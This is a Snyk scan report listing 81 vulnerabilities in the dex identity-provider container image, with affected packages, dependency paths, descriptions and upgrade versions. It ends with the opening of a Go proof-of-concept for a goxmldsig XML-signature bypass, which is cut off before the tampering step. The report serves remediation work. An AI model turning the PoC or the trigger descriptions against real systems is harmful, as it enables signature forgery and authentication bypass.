# Snyk test report

June 14th 2026, 1:00:05 am (UTC+00:00)

Scanned the following paths:

- ghcr.io/dexidp/dex:v2.45.0/dexidp/dex (apk)
- ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5//usr/local/bin/gomplate (gomodules)
- ghcr.io/dexidp/dex:v2.45.0/dexidp/dex//usr/local/bin/docker-entrypoint (gomodules)
- ghcr.io/dexidp/dex:v2.45.0/dexidp/dex//usr/local/bin/dex (gomodules)

81 known vulnerabilities
256 vulnerable dependency paths
1192 dependencies

## CVE-2026-31789

critical severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms.

Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior.

If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.

Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde
- https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf
- https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49
- https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9
- https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html

More about this vulnerability

## Incorrect Authorization

critical severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: google.golang.org/grpc
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc@v1.77.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc@v1.77.0
- Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc@v1.79.1

## Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 `:path` pseudo-headers in `handleStream()`. An attacker can gain unauthorized access to restricted resources by sending requests with malformed `:path` headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.

## Workaround

This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.

## Remediation

Upgrade `google.golang.org/grpc` to version 1.79.3 or higher.

## References

- GitHub Commit

More about this vulnerability

## Improper Authentication

critical severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/net/idna
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/net/idna@v0.48.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/net/idna@v0.48.0
- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/idna@v0.50.0

## Overview

Affected versions of this package are vulnerable to Improper Authentication via the `ToASCII` and `ToUnicode` functions. An attacker can bypass hostname validation by submitting Punycode-encoded labels that decode to ASCII-only labels, potentially leading to privilege escalation in applications that rely on these functions for security checks.

Note: The fix depends on the Go toolchain in use having Unicode version 16 or later, which is planned for the 1.27 release.

## Remediation

Upgrade `golang.org/x/net/idna` to version 0.54.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## CVE-2026-28390

high severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc
- https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6
- https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4
- https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788
- https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28388

high severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.

Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.

When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.

Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.

The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e
- https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139
- https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3
- https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8
- https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28389

high severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5
- https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616
- https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f
- https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a
- https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28387

high severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.

Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.

However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.

By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.

The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.

No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b
- https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe
- https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3
- https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7
- https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## Infinite loop

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/net/http2
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/net/http2@v0.48.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/net/http2@v0.48.0
- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/http2@v0.50.0

## Overview

golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.

Affected versions of this package are vulnerable to Infinite loop.
Go Vulnerability Report:

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a `SETTINGS_MAX_FRAME_SIZE` with a value of 0.

## Remediation

Upgrade `golang.org/x/net/http2` to version 0.53.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Improper Check for Certificate Revocation

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/knownhosts
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/knownhosts@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/knownhosts@v0.47.0

## Overview

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the `SignatureKey` verification process. An attacker can bypass revocation enforcement by presenting a certificate with a revoked `SignatureKey`, potentially allowing unauthorized access or trust to be established.

## Remediation

Upgrade `golang.org/x/crypto/ssh/knownhosts` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/agent@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/agent@v0.47.0

## Overview

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to the improper handling of crafted input data in the `ed25519.PrivateKey` component. An attacker can cause the client to panic by supplying malformed wire bytes.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Release of Resource after Effective Lifetime

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the repeated opening of channels by an authenticated SSH client that are subsequently rejected by the server. An attacker can cause unbounded memory growth and crash the server process by continuously triggering channel rejections.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Improper Authentication

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Improper Authentication due to the `Verify` method not checking the User Presence flag in FIDO/U2F security key types. An attacker can perform unauthorized authentication by generating signatures without requiring physical interaction with the hardware security key.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to an incorrectly placed cast from bytes to int in the `AES-GCM packet decoder` process. An attacker can cause a server-side panic by sending specially crafted inputs.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Uncaught Exception in the `CertChecker` component when used as a public key callback without setting `IsUserAuthority` or `IsHostAuthority`. An attacker can cause the server to panic by presenting a crafted certificate.

Note:

This is only exploitable if both `IsUserAuthority` and `IsHostAuthority` are not set in the server configuration.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Untrusted Search Path

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/sdk/resource
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/sdk/resource@v1.39.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/sdk/resource@v1.39.0

## Overview

Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes `ioreg`, when the `PATH` environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.

Note: This vulnerability is only exploitable on MacOS/Darwin systems.

## Remediation

Upgrade `go.opentelemetry.io/otel/sdk/resource` to version 1.40.0 or higher.

## References

- GitHub Commit

More about this vulnerability

## Untrusted Search Path

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/sdk/resource
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/sdk/resource@v1.39.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/sdk/resource@v1.39.0

## Overview

Affected versions of this package are vulnerable to Untrusted Search Path through the `hostIDReaderBSD.read` function in `sdk/resource/host_id.go`. An attacker can execute a malicious `kenv` binary by placing it earlier in `$PATH` and triggering host ID detection on BSD or Solaris systems when `/etc/hostid` is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.

## Remediation

Upgrade `go.opentelemetry.io/otel/sdk/resource` to version 1.43.0 or higher.

## References

- GitHub Commit
- GitHub Release
- Maintainer's Advisory

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/propagation
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/propagation@v1.39.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/propagation@v1.39.0
- Introduced through: github.com/dexidp/dex@* › go.opentelemetry.io/otel/propagation@v1.39.0

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `baggage` header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous `baggage` header lines, even if each individual value remains within the allowed size limit.

## Remediation

Upgrade `go.opentelemetry.io/otel/propagation` to version 1.41.0 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: go.opentelemetry.io/otel/internal/global
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/internal/global@v1.39.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/internal/global@v1.39.0
- Introduced through: github.com/dexidp/dex@* › go.opentelemetry.io/otel/internal/global@v1.39.0

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `baggage` header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous `baggage` header lines, even if each individual value remains within the allowed size limit.

## Remediation

Upgrade `go.opentelemetry.io/otel/internal/global` to version 1.41.0 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Improper Verification of Cryptographic Signature

high severity
Exploit: Proof of Concept

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: github.com/russellhaering/goxmldsig
- Introduced through: github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/russellhaering/goxmldsig@v1.5.0

## Overview

github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the `validateSignature` function in the `validate.go` file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.

## PoC

    package main

            import (
                "crypto/rand"
                "crypto/rsa"
                "crypto/tls"
                "crypto/x509"
                "encoding/base64"
                "fmt"
                "math/big"
                "time"

                "github.com/beevik/etree"
                dsig "github.com/russellhaering/goxmldsig"
            )

            func main() {
                key, err := rsa.GenerateKey(rand.Reader, 2048)
                if err != nil {
                    panic(err)
                }

                template := &x509.Certificate{
                    SerialNumber: big.NewInt(1),
                    NotBefore:    time.Now().Add(-1 * time.Hour),
                    NotAfter:     time.Now().Add(1 * time.Hour),
                }

                certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
                if err != nil {
                    panic(err)
                }

                cert, _ := x509.ParseCertificate(certDER)

                doc := etree.NewDocument()
                root := doc.CreateElement("Root")
                root.CreateAttr("ID", "target")
                root.SetText("Malicious Content")

                tlsCert := tls.Certificate{
                    Certificate: [][]byte{cert.Raw},
                    PrivateKey:  key,
                }

                ks := dsig.TLSCertKeyStore(tlsCert)
                signingCtx := dsig.NewDefaultSigningContext(ks)

                sig, err := signingCtx.ConstructSignature(root, true)
                if err != nil {
                    panic(err)
                }

                signedInfo := sig.FindElement("./SignedInfo")

